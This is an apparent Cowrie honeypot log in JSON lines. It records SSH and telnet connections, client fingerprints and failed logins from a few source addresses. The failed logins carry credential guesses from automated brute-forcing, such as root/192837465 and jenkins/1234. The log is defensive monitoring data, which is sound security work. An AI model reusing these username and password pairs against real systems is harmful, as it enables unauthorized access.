{"eventid":"cowrie.session.closed","duration":37.872350215911865,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:01.877805Z","src_ip":"172.81.62.90","session":"4c98954b0cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20182,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e3ef75c3778","protocol":"ssh","message":"New connection: 45.153.34.195:20182 (10.17.0.5:22) [session: 3e3ef75c3778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:02.110973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:02.230343Z","src_ip":"45.153.34.195","session":"3e3ef75c3778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:02.233605Z","src_ip":"45.153.34.195","session":"3e3ef75c3778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:02.882000Z","src_ip":"45.153.34.195","session":"3e3ef75c3778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34926,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f59e5149e4","protocol":"ssh","message":"New connection: 91.92.40.36:34926 (10.17.0.5:22) [session: 26f59e5149e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:04.048672Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:04.128814Z","src_ip":"45.153.34.195","session":"3e3ef75c3778","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:04.245649Z","src_ip":"91.92.40.36","session":"26f59e5149e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f323df7cb7f9","protocol":"ssh","message":"New connection: 45.153.34.195:11054 (10.17.0.5:22) [session: f323df7cb7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:05.110581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:05.122274Z","src_ip":"45.153.34.195","session":"f323df7cb7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:05.214736Z","src_ip":"45.153.34.195","session":"f323df7cb7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:05.282037Z","src_ip":"91.92.40.36","session":"26f59e5149e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:05.763031Z","src_ip":"45.153.34.195","session":"f323df7cb7f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:06.847809Z","src_ip":"45.153.34.195","session":"f323df7cb7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11070,"dst_ip":"10.17.0.5","dst_port":22,"session":"0510e8bf93f3","protocol":"ssh","message":"New connection: 45.153.34.195:11070 (10.17.0.5:22) [session: 0510e8bf93f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:08.126189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:08.133430Z","src_ip":"45.153.34.195","session":"0510e8bf93f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:08.223299Z","src_ip":"45.153.34.195","session":"0510e8bf93f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30606,"dst_ip":"10.17.0.5","dst_port":22,"session":"708f1bcfd50d","protocol":"ssh","message":"New connection: 91.92.40.36:30606 (10.17.0.5:22) [session: 708f1bcfd50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:08.366480Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:08.627009Z","src_ip":"45.153.34.195","session":"0510e8bf93f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:09.712039Z","src_ip":"45.153.34.195","session":"0510e8bf93f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:09.874501Z","src_ip":"91.92.40.36","session":"708f1bcfd50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:09.879169Z","src_ip":"91.92.40.36","session":"708f1bcfd50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11072,"dst_ip":"10.17.0.5","dst_port":22,"session":"f79374935af1","protocol":"ssh","message":"New connection: 45.153.34.195:11072 (10.17.0.5:22) [session: f79374935af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:11.235098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:11.242239Z","src_ip":"45.153.34.195","session":"f79374935af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:11.323351Z","src_ip":"45.153.34.195","session":"f79374935af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"piyush","password":"piyush@123","message":"login attempt [piyush/piyush@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:11.647153Z","src_ip":"45.153.34.195","session":"f79374935af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.683692932128906,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:12.510999Z","src_ip":"172.81.62.90","session":"b94f554d3d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:12.730413Z","src_ip":"45.153.34.195","session":"f79374935af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465","message":"login attempt [root/192837465] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:13.296108Z","src_ip":"91.92.40.36","session":"26f59e5149e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11582,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc9039de277","protocol":"ssh","message":"New connection: 45.153.34.195:11582 (10.17.0.5:22) [session: 3bc9039de277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:14.127046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:14.153342Z","src_ip":"45.153.34.195","session":"3bc9039de277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:14.240591Z","src_ip":"45.153.34.195","session":"3bc9039de277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:14.589333Z","src_ip":"45.153.34.195","session":"3bc9039de277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:15.687062Z","src_ip":"45.153.34.195","session":"3bc9039de277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49090,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd89ea181b4","protocol":"telnet","message":"New connection: 128.199.8.54:49090 (159.203.135.109:23) [session: 2bd89ea181b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:15.827025Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30636,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e97d4cbc4f","protocol":"ssh","message":"New connection: 91.92.40.36:30636 (10.17.0.5:22) [session: c1e97d4cbc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:16.147017Z"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:16.487411Z","src_ip":"91.92.40.36","session":"26f59e5149e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.9350368976593,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:16.867782Z","src_ip":"172.81.62.90","session":"305389f679a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11596,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8e262ac77a","protocol":"ssh","message":"New connection: 45.153.34.195:11596 (10.17.0.5:22) [session: 2b8e262ac77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:16.979540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:17.068761Z","src_ip":"45.153.34.195","session":"2b8e262ac77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:17.071993Z","src_ip":"45.153.34.195","session":"2b8e262ac77a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:17.385620Z","src_ip":"91.92.40.36","session":"c1e97d4cbc4f","protocol":"ssh"}
